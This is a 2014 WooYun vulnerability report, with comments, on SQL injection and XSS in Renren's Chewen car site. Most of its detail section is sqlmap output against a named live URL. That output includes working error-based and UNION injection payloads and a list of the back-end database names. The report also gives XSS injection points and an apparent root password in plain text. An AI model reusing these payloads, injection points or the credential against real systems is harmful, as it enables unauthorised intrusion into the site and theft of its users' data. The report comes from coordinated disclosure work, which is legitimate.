人人网旗下车问网SQL注入与XSS漏洞(可跨多个数据库,root以破解出来)

编号74990
Urlhttp://www.wooyun.org/bug.php?action=view&id=74990
漏洞状态厂商已经确认
漏洞标题人人网旗下车问网SQL注入与XSS漏洞(可跨多个数据库,root以破解出来)
漏洞类型SQL注射漏洞
厂商人人网
白帽子Mosuan
提交日期2014-09-04 11:30:00
公开日期2014-10-19 11:32:00
修复时间(not set)
确认时间2014-09-04 00:00:00
Confirm Spend0
漏洞标签xss sql
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank5
漏洞简介
rt
漏洞细节

注入地址:http://dealer.chewen.com/1172/active/?carModelId=1521
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 10:50:04
[10:50:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\dealer.chewen.com\session' as session file
[10:50:04] [INFO] testing connection to the target url
[10:50:04] [INFO] testing if the url is stable, wait a few seconds
[10:50:06] [INFO] url is stable
[10:50:06] [INFO] testing if GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] confirming that GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] GET parameter 'carModelId' is dynamic
[10:50:06] [INFO] heuristic test shows that GET parameter 'carModelId' might be
injectable (possible DBMS: MySQL)
[10:50:06] [INFO] testing sql injection on GET parameter 'carModelId'
[10:50:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:50:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[10:50:08] [INFO] GET parameter 'carModelId' is 'MySQL >= 5.0 AND error-based -
WHERE or HAVING clause' injectable
[10:50:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:50:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:50:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:50:11] [INFO] target url appears to be UNION injectable with 1 columns
[10:50:11] [INFO] GET parameter 'carModelId' is 'MySQL UNION query (NULL) - 1 to
10 columns' injectable
GET parameter 'carModelId' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: carModelId
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: carModelId=1521 AND (SELECT 7726 FROM(SELECT COUNT(*),CONCAT(0x3a74
66793a,(SELECT (CASE WHEN (7726=7726) THEN 1 ELSE 0 END)),0x3a76716d3a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: carModelId=1521 UNION ALL SELECT CONCAT(0x3a7466793a,0x4848504d4a70
464a7a4a,0x3a76716d3a)#
---
[10:50:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0
[10:50:21] [INFO] fetching database names
[10:50:21] [INFO] the SQL query used returns 10 entries
[10:50:21] [INFO] retrieved: "information_schema"
[10:50:21] [INFO] retrieved: "autodata"
[10:50:22] [INFO] retrieved: "bitnami_roller"
[10:50:22] [INFO] retrieved: "chewen"
[10:50:22] [INFO] retrieved: "chewen_bbs"
[10:50:22] [INFO] retrieved: "chewen_task"
[10:50:23] [INFO] retrieved: "chewen_user"
[10:50:23] [INFO] retrieved: "mysql"
[10:50:23] [INFO] retrieved: "syspoll"
[10:50:23] [INFO] retrieved: "test"
available databases [10]:
[*] autodata
[*] bitnami_roller
[*] chewen
[*] chewen_bbs
[*] chewen_task
[*] chewen_user
[*] information_schema
[*] mysql
[*] syspoll
[*] test
[10:50:23] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\dealer.chewen.com'
[*] shutting down at 10:50:23


http://dealer.chewen.com/1306/ask/   这里提问个问题插入xss code


1111111.jpg


http://www.chewen.com/s?q=alert&t=   搜索alert,前人弄得xss未修复


root:shenghuomeihao


可沦陷多个后台,site:chewen.com 就能找到很多你们的后台了,这里给你们留点脸,点到为止,求rank

POC

public

修复方案

过滤,转义,改密码

状态信息 2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-14: 细节向核心白帽子及相关领域专家公开
2014-09-24: 细节向普通白帽子公开
2014-10-04: 细节向实习白帽子公开
2014-10-19: 细节向公众公开
厂商回复早上别的白帽子刚刚提交过了,为防止马甲刷分,只能给个低等的分数了,不好意思啦,见谅。还是很感谢,谢谢
回应信息危害等级:低漏洞Rank:5 确认时间:2014-09-04 13:00
Showing 1-11 of 11 items.
评论内容评论人点赞数评论时间

@人人网 可以兼职维护吗?哈哈哈,能理解。

Mosuan02014-09-04 14:42:00

@Mosuan 只是为了防止重复提交,并没有说是你刷分,误会了。PS:车问的东西找不到维护的人,处境很尴尬,多多包涵。

人人网02014-09-04 14:13:00

@Mosuan 不是啊 是一个洞 其他的顺带他们会修复 没必要

爱上平顶山02014-09-04 13:40:00

@爱上平顶山 。。。那不是一不小心就给全部del了

px162402014-09-04 13:39:00

@人人网 我没刷分....我在wooyun只有一个马甲

Mosuan02014-09-04 13:35:00

@爱上平顶山 得罪了,大牛

Mosuan02014-09-04 12:04:00

@爱上平顶山 我怎么发现你说话好搞笑?什么叫有意思吗?难道我在刷洞吗?一大堆就不是漏洞了吗?别把话说的那么死,你也可以提交!

Mosuan02014-09-04 11:58:00

有意思吗? 随便一扫一大堆 deal的注入~

爱上平顶山02014-09-04 11:53:00

@Mosuan 继续努力~~

浮萍02014-09-04 11:49:00

@浮萍 几个月了,终于首页了.....

Mosuan02014-09-04 11:38:00

首页了

浮萍02014-09-04 11:35:00